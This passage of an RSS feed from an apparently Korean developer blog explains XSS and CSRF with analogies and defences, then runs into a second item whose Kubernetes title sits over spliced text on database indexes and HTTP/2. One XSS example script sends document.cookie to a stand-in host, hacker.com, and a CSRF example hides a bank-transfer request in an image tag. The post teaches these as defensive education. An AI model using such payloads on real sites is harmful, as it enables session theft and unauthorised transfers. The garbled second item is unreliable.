/&gt;XSS는&amp;nbsp;해커가&amp;nbsp;웹사이트&amp;nbsp;게시판이나&amp;nbsp;댓글창에&amp;nbsp;악의적인&amp;nbsp;**자바스크립트(JS)&amp;nbsp;코드**를&amp;nbsp;심어두고,&amp;nbsp;다른&amp;nbsp;무고한&amp;nbsp;사용자가&amp;nbsp;그&amp;nbsp;글을&amp;nbsp;읽을&amp;nbsp;때&amp;nbsp;그&amp;nbsp;사용자의&amp;nbsp;브라우저에서&amp;nbsp;스크립트가&amp;nbsp;실행되게&amp;nbsp;만드는&amp;nbsp;공격입니다. &lt;br /&gt;&lt;br /&gt;###&amp;nbsp; &amp;nbsp;일상&amp;nbsp;비유:&amp;nbsp;공공&amp;nbsp;게시판에&amp;nbsp;최면&amp;nbsp;가스&amp;nbsp;뿌려두기 &lt;br /&gt;마을&amp;nbsp;광장&amp;nbsp;알림판에&amp;nbsp;누군가&amp;nbsp;평범한&amp;nbsp;공고문&amp;nbsp;대신&amp;nbsp;**&quot;이&amp;nbsp;글을&amp;nbsp;읽는&amp;nbsp;즉시&amp;nbsp;주머니의&amp;nbsp;지갑을&amp;nbsp;털어&amp;nbsp;사서함&amp;nbsp;104호로&amp;nbsp;보내라&quot;**는&amp;nbsp;최면&amp;nbsp;문구를&amp;nbsp;붙여두었습니다.&amp;nbsp;글을&amp;nbsp;읽은&amp;nbsp;순진한&amp;nbsp;마을&amp;nbsp;주민들은&amp;nbsp;자기도&amp;nbsp;모르게&amp;nbsp;지갑을&amp;nbsp;털려버립니다. &lt;br /&gt;&lt;br /&gt;```html &lt;br /&gt;&amp;lt;!--&amp;nbsp;해커가&amp;nbsp;게시판&amp;nbsp;댓글에&amp;nbsp;작성한&amp;nbsp;내용&amp;nbsp;--&amp;gt; &lt;br /&gt;우와&amp;nbsp;정말&amp;nbsp;유익한&amp;nbsp;글이네요! &lt;br /&gt;&amp;lt;script&amp;gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;fetch('&lt;a href=&quot;https://hacker.com/steal?cookie='&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://hacker.com/steal?cookie='&lt;/a&gt;&amp;nbsp;+&amp;nbsp;document.cookie); &lt;br /&gt;&amp;lt;/script&amp;gt; &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;피해자가&amp;nbsp;이&amp;nbsp;댓글이&amp;nbsp;달린&amp;nbsp;게시글을&amp;nbsp;여는&amp;nbsp;순간,&amp;nbsp;피해자의&amp;nbsp;브라우저는&amp;nbsp;`&amp;lt;script&amp;gt;`&amp;nbsp;태그를&amp;nbsp;읽고&amp;nbsp;실행하여&amp;nbsp;피해자의&amp;nbsp;**로그인&amp;nbsp;세션&amp;nbsp;쿠키**를&amp;nbsp;해커의&amp;nbsp;서버로&amp;nbsp;전송해&amp;nbsp;버립니다.&amp;nbsp;해커는&amp;nbsp;로그인&amp;nbsp;없이&amp;nbsp;피해자&amp;nbsp;계정으로&amp;nbsp;접속(세션&amp;nbsp;하이재킹)하게&amp;nbsp;됩니다. &lt;br /&gt;&lt;br /&gt;###&amp;nbsp; ️&amp;nbsp;완벽한&amp;nbsp;방어법 &lt;br /&gt;1.&amp;nbsp;**HTML&amp;nbsp;이스케이프(Escape)**:&amp;nbsp;`&amp;lt;`는&amp;nbsp;`&amp;amp;lt;`로,&amp;nbsp;`&amp;gt;`는&amp;nbsp;`&amp;amp;gt;`로&amp;nbsp;변환하여&amp;nbsp;브라우저가&amp;nbsp;코드가&amp;nbsp;아닌&amp;nbsp;단순&amp;nbsp;글자로&amp;nbsp;렌더링하게&amp;nbsp;만듭니다.&amp;nbsp;(React,&amp;nbsp;Vue,&amp;nbsp;타임리프&amp;nbsp;등은&amp;nbsp;기본적으로&amp;nbsp;자동&amp;nbsp;이스케이프&amp;nbsp;지원) &lt;br /&gt;2.&amp;nbsp;**쿠키&amp;nbsp;HttpOnly&amp;nbsp;속성**:&amp;nbsp;로그인&amp;nbsp;쿠키에&amp;nbsp;`HttpOnly`&amp;nbsp;플래그를&amp;nbsp;걸면,&amp;nbsp;자바스크립트(`document.cookie`)로&amp;nbsp;쿠키에&amp;nbsp;절대&amp;nbsp;접근할&amp;nbsp;수&amp;nbsp;없습니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; ️&amp;nbsp;3.&amp;nbsp;CSRF&amp;nbsp;(Cross-Site&amp;nbsp;Request&amp;nbsp;Forgery)&amp;nbsp;-&amp;nbsp;사용자&amp;nbsp;손을&amp;nbsp;빌린&amp;nbsp;대리&amp;nbsp;범죄 &lt;br /&gt;&lt;br /&gt;CSRF는&amp;nbsp;사용자가&amp;nbsp;이미&amp;nbsp;신뢰하는&amp;nbsp;웹사이트(예:&amp;nbsp;은행,&amp;nbsp;쇼핑몰)에&amp;nbsp;로그인되어&amp;nbsp;있는&amp;nbsp;상태를&amp;nbsp;악용하여,&amp;nbsp;해커가&amp;nbsp;만든&amp;nbsp;엉뚱한&amp;nbsp;사이트에서&amp;nbsp;사용자의&amp;nbsp;권한으로&amp;nbsp;몰래&amp;nbsp;위조된&amp;nbsp;요청을&amp;nbsp;전송하게&amp;nbsp;만드는&amp;nbsp;수법입니다. &lt;br /&gt;&lt;br /&gt;###&amp;nbsp; &amp;nbsp;일상&amp;nbsp;비유:&amp;nbsp;인감도장을&amp;nbsp;훔치지&amp;nbsp;않고&amp;nbsp;몰래&amp;nbsp;손을&amp;nbsp;잡고&amp;nbsp;도장&amp;nbsp;찍기 &lt;br /&gt;내가&amp;nbsp;거래하는&amp;nbsp;단골&amp;nbsp;은행에&amp;nbsp;신분증을&amp;nbsp;내고&amp;nbsp;창구에&amp;nbsp;앉아있습니다.&amp;nbsp;이때&amp;nbsp;옆자리&amp;nbsp;수상한&amp;nbsp;사람이&amp;nbsp;내&amp;nbsp;스마트폰으로&amp;nbsp;재밌는&amp;nbsp;고양이&amp;nbsp;사진&amp;nbsp;링크를&amp;nbsp;보냈습니다.&amp;nbsp;링크를&amp;nbsp;쳐다보는&amp;nbsp;순간&amp;nbsp;내&amp;nbsp;손을&amp;nbsp;덥석&amp;nbsp;잡아서&amp;nbsp;이체&amp;nbsp;신청서에&amp;nbsp;도장을&amp;nbsp;쾅&amp;nbsp;찍어버리는&amp;nbsp;꼴입니다. &lt;br /&gt;&lt;br /&gt;```html &lt;br /&gt;&amp;lt;!--&amp;nbsp;해커가&amp;nbsp;만든&amp;nbsp;낚시&amp;nbsp;웹사이트&amp;nbsp;(&lt;a href=&quot;https://cute-cat.com)&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://cute-cat.com)&lt;/a&gt;&amp;nbsp;내부&amp;nbsp;코드&amp;nbsp;--&amp;gt; &lt;br /&gt;&amp;lt;h1&amp;gt;귀여운&amp;nbsp;고양이&amp;nbsp;사진을&amp;nbsp;감상하세요!&amp;lt;/h1&amp;gt; &lt;br /&gt;&amp;lt;img&amp;nbsp;src=&quot;&lt;a href=&quot;https://bank.com/transfer?to=hacker&amp;amp;amount=10000000&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://bank.com/transfer?to=hacker&amp;amp;amount=10000000&lt;/a&gt;&quot;&amp;nbsp;width=&quot;0&quot;&amp;nbsp;height=&quot;0&quot;&amp;nbsp;/&amp;gt; &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;사용자가&amp;nbsp;은행에&amp;nbsp;로그인된&amp;nbsp;상태로&amp;nbsp;저&amp;nbsp;낚시&amp;nbsp;사이트를&amp;nbsp;열면,&amp;nbsp;브라우저는&amp;nbsp;고양이&amp;nbsp;사진&amp;nbsp;대신&amp;nbsp;이미지를&amp;nbsp;불러오려고&amp;nbsp;은행&amp;nbsp;서버로&amp;nbsp;이체&amp;nbsp;요청을&amp;nbsp;보냅니다.&amp;nbsp;이때&amp;nbsp;브라우저는&amp;nbsp;은행&amp;nbsp;사이트의&amp;nbsp;유효한&amp;nbsp;세션&amp;nbsp;쿠키를&amp;nbsp;**자동으로&amp;nbsp;동봉**해서&amp;nbsp;보내기&amp;nbsp;때문에,&amp;nbsp;은행&amp;nbsp;서버는&amp;nbsp;사용자가&amp;nbsp;직접&amp;nbsp;요청한&amp;nbsp;것으로&amp;nbsp;착각하고&amp;nbsp;1,000만&amp;nbsp;원을&amp;nbsp;송금해&amp;nbsp;버립니다! &lt;br /&gt;&lt;br /&gt;###&amp;nbsp; ️&amp;nbsp;완벽한&amp;nbsp;방어법:&amp;nbsp;CSRF&amp;nbsp;토큰&amp;nbsp;&amp;amp;&amp;nbsp;SameSite&amp;nbsp;쿠키 &lt;br /&gt;1.&amp;nbsp;**CSRF&amp;nbsp;토큰**:&amp;nbsp;서버는&amp;nbsp;폼&amp;nbsp;페이지를&amp;nbsp;줄&amp;nbsp;때&amp;nbsp;예측&amp;nbsp;불가능한&amp;nbsp;난수&amp;nbsp;토큰(`CSRF-Token`)을&amp;nbsp;발급하고,&amp;nbsp;폼&amp;nbsp;제출&amp;nbsp;시&amp;nbsp;이&amp;nbsp;토큰이&amp;nbsp;맞는지&amp;nbsp;검증합니다.&amp;nbsp;외부&amp;nbsp;낚시&amp;nbsp;사이트는&amp;nbsp;이&amp;nbsp;토큰&amp;nbsp;값을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;없으므로&amp;nbsp;위조&amp;nbsp;요청이&amp;nbsp;100%&amp;nbsp;차단됩니다. &lt;br /&gt;2.&amp;nbsp;**쿠키&amp;nbsp;`SameSite=Lax`&amp;nbsp;또는&amp;nbsp;`Strict`&amp;nbsp;설정**:&amp;nbsp;다른&amp;nbsp;사이트(Third-Party)에서&amp;nbsp;시작된&amp;nbsp;요청에는&amp;nbsp;쿠키를&amp;nbsp;절대&amp;nbsp;자동으로&amp;nbsp;붙여&amp;nbsp;보내지&amp;nbsp;않도록&amp;nbsp;브라우저&amp;nbsp;레벨에서&amp;nbsp;원천&amp;nbsp;봉쇄합니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;웹&amp;nbsp;3대&amp;nbsp;취약점&amp;nbsp;한눈에&amp;nbsp;요약&amp;nbsp;비교 &lt;br /&gt;&lt;br /&gt;|&amp;nbsp;취약점&amp;nbsp;|&amp;nbsp;공격&amp;nbsp;대상&amp;nbsp;|&amp;nbsp;공격&amp;nbsp;원리&amp;nbsp;|&amp;nbsp;핵심&amp;nbsp;방어&amp;nbsp;대책&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;:---&amp;nbsp;|&amp;nbsp;:---&amp;nbsp;|&amp;nbsp;:---&amp;nbsp;|&amp;nbsp;:---&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**SQL&amp;nbsp;인젝션**&amp;nbsp;|&amp;nbsp;데이터베이스&amp;nbsp;(DB)&amp;nbsp;|&amp;nbsp;입력값에&amp;nbsp;악성&amp;nbsp;SQL&amp;nbsp;문법&amp;nbsp;주입&amp;nbsp;|&amp;nbsp;**Prepared&amp;nbsp;Statement&amp;nbsp;(파라미터&amp;nbsp;바인딩)**&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**XSS**&amp;nbsp;|&amp;nbsp;사용자&amp;nbsp;브라우저&amp;nbsp;|&amp;nbsp;게시글&amp;nbsp;등에&amp;nbsp;악성&amp;nbsp;자바스크립트&amp;nbsp;삽입&amp;nbsp;|&amp;nbsp;**HTML&amp;nbsp;이스케이프,&amp;nbsp;`HttpOnly`&amp;nbsp;쿠키**&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**CSRF**&amp;nbsp;|&amp;nbsp;사용자&amp;nbsp;권한(신뢰&amp;nbsp;서버)&amp;nbsp;|&amp;nbsp;로그인된&amp;nbsp;세션&amp;nbsp;쿠키를&amp;nbsp;이용해&amp;nbsp;몰래&amp;nbsp;요청&amp;nbsp;전송&amp;nbsp;|&amp;nbsp;**CSRF&amp;nbsp;토큰&amp;nbsp;검증,&amp;nbsp;`SameSite`&amp;nbsp;쿠키**&amp;nbsp;| &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;3줄&amp;nbsp;핵심&amp;nbsp;요약 &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;**SQL&amp;nbsp;인젝션**은&amp;nbsp;DB를&amp;nbsp;속여&amp;nbsp;데이터를&amp;nbsp;탈취하는&amp;nbsp;공격으로,&amp;nbsp;Prepared&amp;nbsp;Statement를&amp;nbsp;통해&amp;nbsp;코드가&amp;nbsp;아닌&amp;nbsp;순수&amp;nbsp;데이터로&amp;nbsp;입력값을&amp;nbsp;격리해야&amp;nbsp;한다. &lt;br /&gt;2.&amp;nbsp;**XSS**는&amp;nbsp;다른&amp;nbsp;사용자의&amp;nbsp;브라우저에서&amp;nbsp;악성&amp;nbsp;스크립트를&amp;nbsp;실행시키는&amp;nbsp;공격으로,&amp;nbsp;HTML&amp;nbsp;이스케이프와&amp;nbsp;HttpOnly&amp;nbsp;쿠키로&amp;nbsp;방어한다. &lt;br /&gt;3.&amp;nbsp;**CSRF**는&amp;nbsp;로그인된&amp;nbsp;사용자의&amp;nbsp;권한을&amp;nbsp;도용해&amp;nbsp;위조&amp;nbsp;요청을&amp;nbsp;보내는&amp;nbsp;공격으로,&amp;nbsp;CSRF&amp;nbsp;토큰과&amp;nbsp;SameSite&amp;nbsp;쿠키로&amp;nbsp;막아낸다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;다음&amp;nbsp;편&amp;nbsp;예고 &lt;br /&gt;&lt;br /&gt;웹&amp;nbsp;시스템의&amp;nbsp;안전을&amp;nbsp;지키는&amp;nbsp;방어&amp;nbsp;기술을&amp;nbsp;완벽히&amp;nbsp;마스터했다면,&amp;nbsp;이제&amp;nbsp;인간의&amp;nbsp;지능을&amp;nbsp;뛰어넘어&amp;nbsp;전&amp;nbsp;세계&amp;nbsp;산업을&amp;nbsp;뒤흔들고&amp;nbsp;있는&amp;nbsp;현대&amp;nbsp;기술의&amp;nbsp;정점을&amp;nbsp;마주할&amp;nbsp;시간입니다. &lt;br /&gt;&lt;br /&gt;다음&amp;nbsp;편에서는&amp;nbsp;ChatGPT,&amp;nbsp;Claude&amp;nbsp;등&amp;nbsp;전&amp;nbsp;세계를&amp;nbsp;충격에&amp;nbsp;빠뜨린&amp;nbsp;생성형&amp;nbsp;AI의&amp;nbsp;절대&amp;nbsp;심장,&amp;nbsp;**[트랜스포머(Transformer)와&amp;nbsp;어텐션&amp;nbsp;메커니즘&amp;nbsp;-&amp;nbsp;현대&amp;nbsp;AI의&amp;nbsp;혁명]**을&amp;nbsp;누구보다&amp;nbsp;생생하고&amp;nbsp;직관적으로&amp;nbsp;파헤쳐&amp;nbsp;드리겠습니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>보안 &amp;amp; 인증 기술</category>
      <category>CSRF</category>
      <category>sql인젝션</category>
      <category>XSS</category>
      <category>개발기초</category>
      <category>백엔드</category>
      <category>보안</category>
      <category>웹보안</category>
      <category>웹해킹</category>
      <category>인증</category>
      <category>프론트엔드</category>
      <author>arthurdaddy</author>
      <guid isPermaLink="true">https://softwin.tistory.com/91</guid>
      <comments>https://softwin.tistory.com/91#entry91comment</comments>
      <pubDate>Wed, 14 Oct 2026 23:33:34 +0900</pubDate>
    </item>
    <item>
      <title>쿠버네티스(Kubernetes)란 무엇인가? - 수백 개의 도커 컨테이너를 지휘하는 마에스트로</title>
      <link>https://softwin.tistory.com/90</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;#&amp;nbsp;DB&amp;nbsp;인덱스(Index)와&amp;nbsp;B-Tree의&amp;nbsp;원리&amp;nbsp;-&amp;nbsp;1억&amp;nbsp;건&amp;nbsp;데이터&amp;nbsp;중&amp;nbsp;내&amp;nbsp;정보를&amp;nbsp;0.001초&amp;nbsp;만에&amp;nbsp;찾는&amp;nbsp;법 &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;들어가며&amp;nbsp;-&amp;nbsp;1,000페이지&amp;nbsp;두꺼운&amp;nbsp;책에서&amp;nbsp;원하는&amp;nbsp;단어를&amp;nbsp;찾는&amp;nbsp;법 &lt;br /&gt;&lt;br /&gt;지난&amp;nbsp;글에서&amp;nbsp;우리는&amp;nbsp;표(Table)&amp;nbsp;중심의&amp;nbsp;**관계형&amp;nbsp;데이터베이스(RDBMS)**와&amp;nbsp;유연한&amp;nbsp;서류봉투(JSON)&amp;nbsp;중심의&amp;nbsp;**NoSQL**의&amp;nbsp;구조적&amp;nbsp;차이와&amp;nbsp;용도를&amp;nbsp;살펴보았습니다.&amp;nbsp;어떤&amp;nbsp;데이터베이스를&amp;nbsp;쓰든&amp;nbsp;간에,&amp;nbsp;데이터가&amp;nbsp;수백만,&amp;nbsp;수천만&amp;nbsp;건으로&amp;nbsp;쌓이기&amp;nbsp;시작하면&amp;nbsp;모든&amp;nbsp;백엔드&amp;nbsp;엔지니어는&amp;nbsp;동일한&amp;nbsp;악몽에&amp;nbsp;시달리게&amp;nbsp;됩니다. &lt;br /&gt;&lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;사용자가&amp;nbsp;로그인할&amp;nbsp;때&amp;nbsp;아이디를&amp;nbsp;조회하는&amp;nbsp;쿼리가&amp;nbsp;처음에는&amp;nbsp;0.01초&amp;nbsp;만에&amp;nbsp;끝났는데,&amp;nbsp;회원&amp;nbsp;수가&amp;nbsp;100만&amp;nbsp;명을&amp;nbsp;넘어가니&amp;nbsp;10초가&amp;nbsp;넘게&amp;nbsp;걸려&amp;nbsp;서버가&amp;nbsp;뻗어버립니다!&quot;** &lt;br /&gt;&lt;br /&gt;1,000페이지가&amp;nbsp;넘는&amp;nbsp;방대한&amp;nbsp;백과사전에서&amp;nbsp;'스티브&amp;nbsp;잡스'라는&amp;nbsp;인물을&amp;nbsp;찾는&amp;nbsp;상황을&amp;nbsp;상상해&amp;nbsp;보십시오.&amp;nbsp;&amp;nbsp; &lt;br /&gt;1페이지부터&amp;nbsp;마지막&amp;nbsp;1,000페이지까지&amp;nbsp;손가락으로&amp;nbsp;한&amp;nbsp;줄&amp;nbsp;한&amp;nbsp;줄&amp;nbsp;넘#&amp;nbsp;HTTP/2와&amp;nbsp;HTTP/3(QUIC)의&amp;nbsp;혁신&amp;nbsp;-&amp;nbsp;웹페이지&amp;nbsp;로딩&amp;nbsp;속도가&amp;nbsp;3배&amp;nbsp;빨라진&amp;nbsp;비밀 &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; ️&amp;nbsp;들어가며&amp;nbsp;-&amp;nbsp;왜&amp;nbsp;최신&amp;nbsp;웹사이트는&amp;nbsp;빛의&amp;nbsp;속도로&amp;nbsp;뜰까? &lt;br /&gt;&lt;br /&gt;지난&amp;nbsp;글에서&amp;nbsp;우리는&amp;nbsp;인터넷&amp;nbsp;통신의&amp;nbsp;기본&amp;nbsp;규격인&amp;nbsp;**HTTP**와&amp;nbsp;암호화&amp;nbsp;자물쇠를&amp;nbsp;채운&amp;nbsp;**HTTPS(TLS)**의&amp;nbsp;보안&amp;nbsp;원리를&amp;nbsp;살펴보았습니다.&amp;nbsp;자물쇠를&amp;nbsp;채워&amp;nbsp;안전해진&amp;nbsp;것은&amp;nbsp;좋았지만,&amp;nbsp;웹&amp;nbsp;사이트가&amp;nbsp;점차&amp;nbsp;복잡해지면서&amp;nbsp;또&amp;nbsp;다른&amp;nbsp;심각한&amp;nbsp;문제가&amp;nbsp;터져&amp;nbsp;나왔습니다. &lt;br /&gt;&lt;br /&gt;과거의&amp;nbsp;웹사이트는&amp;nbsp;단순한&amp;nbsp;텍스트&amp;nbsp;문서&amp;nbsp;몇&amp;nbsp;줄과&amp;nbsp;작은&amp;nbsp;사진&amp;nbsp;1~2장이&amp;nbsp;전부였습니다.&amp;nbsp;하지만&amp;nbsp;오늘날&amp;nbsp;우리가&amp;nbsp;매일&amp;nbsp;접속하는&amp;nbsp;네이버,&amp;nbsp;유튜브,&amp;nbsp;쇼핑몰&amp;nbsp;사이트를&amp;nbsp;열어보면,&amp;nbsp;**단&amp;nbsp;하나의&amp;nbsp;웹페이지를&amp;nbsp;띄우기&amp;nbsp;위해&amp;nbsp;무려&amp;nbsp;100~200개가&amp;nbsp;넘는&amp;nbsp;이미지,&amp;nbsp;자바스크립트(JS),&amp;nbsp;CSS&amp;nbsp;스타일시트&amp;nbsp;파일**을&amp;nbsp;서버로부터&amp;nbsp;동시에&amp;nbsp;다운로드해야&amp;nbsp;합니다. &lt;br /&gt;&lt;br /&gt;과거의&amp;nbsp;통신&amp;nbsp;규격이었던&amp;nbsp;**HTTP/1.1**&amp;nbsp;시절에는&amp;nbsp;이런&amp;nbsp;복잡한&amp;nbsp;페이지를&amp;nbsp;열&amp;nbsp;때&amp;nbsp;극심한&amp;nbsp;버벅거림과&amp;nbsp;지연이&amp;nbsp;발생했습니다.&amp;nbsp;아무리&amp;nbsp;기가&amp;nbsp;인터넷을&amp;nbsp;쓰고&amp;nbsp;컴퓨터&amp;nbsp;사양이&amp;nbsp;좋아도,&amp;nbsp;통신&amp;nbsp;규격&amp;nbsp;자체의&amp;nbsp;한계&amp;nbsp;때문에&amp;nbsp;도로가&amp;nbsp;꽉&amp;nbsp;막혀버렸기&amp;nbsp;때문입니다. &lt;br /&gt;&lt;br /&gt;이&amp;nbsp;병목을&amp;nbsp;뚫기&amp;nbsp;위해&amp;nbsp;전&amp;nbsp;세계&amp;nbsp;웹&amp;nbsp;표준&amp;nbsp;기구와&amp;nbsp;구글(Google)&amp;nbsp;엔지니어들이&amp;nbsp;설계한&amp;nbsp;놀라운&amp;nbsp;통신&amp;nbsp;혁신,&amp;nbsp;바로&amp;nbsp;**HTTP/2의&amp;nbsp;멀티플렉싱**과&amp;nbsp;**HTTP/3의&amp;nbsp;UDP&amp;nbsp;기반&amp;nbsp;QUIC&amp;nbsp;프로토콜**입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;1.&amp;nbsp;HTTP/1.1의&amp;nbsp;비극:&amp;nbsp;톨게이트&amp;nbsp;1개와&amp;nbsp;'HOL&amp;nbsp;블로킹' &lt;br /&gt;&lt;br /&gt;HTTP/1.1이&amp;nbsp;느렸던&amp;nbsp;가장&amp;nbsp;결정적인&amp;nbsp;이유는&amp;nbsp;**&quot;한&amp;nbsp;번에&amp;nbsp;하나의&amp;nbsp;파일만&amp;nbsp;순서대로&amp;nbsp;요청하고&amp;nbsp;받을&amp;nbsp;수&amp;nbsp;있었다&quot;**는&amp;nbsp;점입니다. &lt;br /&gt;&lt;br /&gt;이를&amp;nbsp;일상생활의&amp;nbsp;**1차선&amp;nbsp;고속도로&amp;nbsp;톨게이트**에&amp;nbsp;비유할&amp;nbsp;수&amp;nbsp;있습니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;HTTP/1.1&amp;nbsp;의&amp;nbsp;1차선&amp;nbsp;톨게이트&amp;nbsp;병목&amp;nbsp;현상&amp;nbsp;] &lt;br /&gt;클라이언트&amp;nbsp;──(1.&amp;nbsp;index.html&amp;nbsp;요청)──&amp;gt;&amp;nbsp;서버 &lt;br /&gt;클라이언트&amp;nbsp;&amp;lt;──(index.html&amp;nbsp;수신)────&amp;nbsp;&amp;nbsp;서버 &lt;br /&gt;&lt;br /&gt;클라이언트&amp;nbsp;──(2.&amp;nbsp;big_video.mp4&amp;nbsp;요청)─&amp;gt;&amp;nbsp;서버&amp;nbsp;&amp;nbsp;───┐ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;│&amp;nbsp;(거대&amp;nbsp;파일&amp;nbsp;다운로드가&amp;nbsp;끝날&amp;nbsp;때까지 &lt;br /&gt;클라이언트&amp;nbsp;&amp;lt;──(3.&amp;nbsp;style.css&amp;nbsp;요청&amp;nbsp;대기&amp;nbsp;중...)───&amp;nbsp;&amp;nbsp;뒤에&amp;nbsp;있는&amp;nbsp;작은&amp;nbsp;css/js&amp;nbsp;파일들은&amp;nbsp; &lt;br /&gt;클라이언트&amp;nbsp;&amp;lt;──(4.&amp;nbsp;icon.png&amp;nbsp;요청&amp;nbsp;대기&amp;nbsp;중...)───&amp;nbsp;&amp;nbsp;&amp;nbsp;1초도&amp;nbsp;움직이지&amp;nbsp;못하고&amp;nbsp;멈춤!) &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;│&amp;nbsp;➔&amp;nbsp;[&amp;nbsp;Head-of-Line&amp;nbsp;(HOL)&amp;nbsp;Blocking&amp;nbsp;] &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;*&amp;nbsp;**HOL&amp;nbsp;블로킹(Head-of-Line&amp;nbsp;Blocking)**:&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;앞에&amp;nbsp;서&amp;nbsp;있는&amp;nbsp;대형&amp;nbsp;트럭(용량이&amp;nbsp;큰&amp;nbsp;파일)이&amp;nbsp;톨게이트를&amp;nbsp;통과하는&amp;nbsp;데&amp;nbsp;5초가&amp;nbsp;걸리면,&amp;nbsp;그&amp;nbsp;뒤에&amp;nbsp;줄&amp;nbsp;서&amp;nbsp;있는&amp;nbsp;수십&amp;nbsp;대의&amp;nbsp;오토바이(용량이&amp;nbsp;아주&amp;nbsp;작은&amp;nbsp;1KB짜리&amp;nbsp;CSS,&amp;nbsp;JS&amp;nbsp;파일)는&amp;nbsp;앞차가&amp;nbsp;다&amp;nbsp;빠져나갈&amp;nbsp;때까지&amp;nbsp;하염없이&amp;nbsp;기다려야&amp;nbsp;했습니다. &lt;br /&gt;*&amp;nbsp;**임시방편의&amp;nbsp;한계**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;웹&amp;nbsp;브라우저들은&amp;nbsp;이&amp;nbsp;문제를&amp;nbsp;피하려고&amp;nbsp;서버와&amp;nbsp;6개의&amp;nbsp;TCP&amp;nbsp;도로(커넥션)를&amp;nbsp;억지로&amp;nbsp;뚫어&amp;nbsp;나눠&amp;nbsp;받기도&amp;nbsp;하고,&amp;nbsp;작은&amp;nbsp;아이콘&amp;nbsp;100개를&amp;nbsp;하나의&amp;nbsp;큰&amp;nbsp;이미지로&amp;nbsp;합치는&amp;nbsp;'스프라이트&amp;nbsp;기법'을&amp;nbsp;쓰는&amp;nbsp;등&amp;nbsp;눈물겨운&amp;nbsp;꼼수를&amp;nbsp;부려야&amp;nbsp;했습니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;2.&amp;nbsp;HTTP/2의&amp;nbsp;마법:&amp;nbsp;1개의&amp;nbsp;레일&amp;nbsp;위를&amp;nbsp;달리는&amp;nbsp;'멀티플렉싱(Multiplexing)' &lt;br /&gt;&lt;br /&gt;2015년&amp;nbsp;마침내&amp;nbsp;등장한&amp;nbsp;**HTTP/2**는&amp;nbsp;웹&amp;nbsp;로딩&amp;nbsp;패러다임을&amp;nbsp;180도&amp;nbsp;뒤집었습니다.&amp;nbsp;핵심은&amp;nbsp;단&amp;nbsp;하나,&amp;nbsp;**&quot;멀티플렉싱(Multiplexing,&amp;nbsp;다중화)&quot;**이었습니다. &lt;br /&gt;&lt;br /&gt;HTTP/2는&amp;nbsp;더&amp;nbsp;이상&amp;nbsp;텍스트로&amp;nbsp;대화하지&amp;nbsp;않고,&amp;nbsp;모든&amp;nbsp;데이터를&amp;nbsp;0과&amp;nbsp;1의&amp;nbsp;**바이너리&amp;nbsp;프레임(Binary&amp;nbsp;Frame)**이라는&amp;nbsp;아주&amp;nbsp;작은&amp;nbsp;레고&amp;nbsp;블록&amp;nbsp;조각들로&amp;nbsp;잘게&amp;nbsp;쪼갰습니다. &lt;br 